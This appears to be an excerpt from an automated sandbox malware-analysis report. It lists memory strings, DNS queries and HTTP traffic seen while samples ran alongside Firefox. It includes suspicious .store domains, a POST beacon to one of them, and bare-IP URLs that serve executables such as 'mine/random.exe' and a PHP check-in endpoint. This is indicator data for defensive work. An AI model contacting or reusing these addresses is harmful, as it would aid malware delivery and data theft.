Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEurl('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEurl('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTurl('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEurl('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3260229875.0000019E4C0EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3257880743.0000019E4BF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3257880743.0000019E4BFF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/6
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/6ae
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/X
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/aa
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/i
Source: file.exe, file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe)
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeW
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeg
Source: file.exe, file.exe, 00000000.00000003.2356103217.000000000155D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe1
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeV
Source: file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeee
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeg
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php-
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php//
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/9
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/K
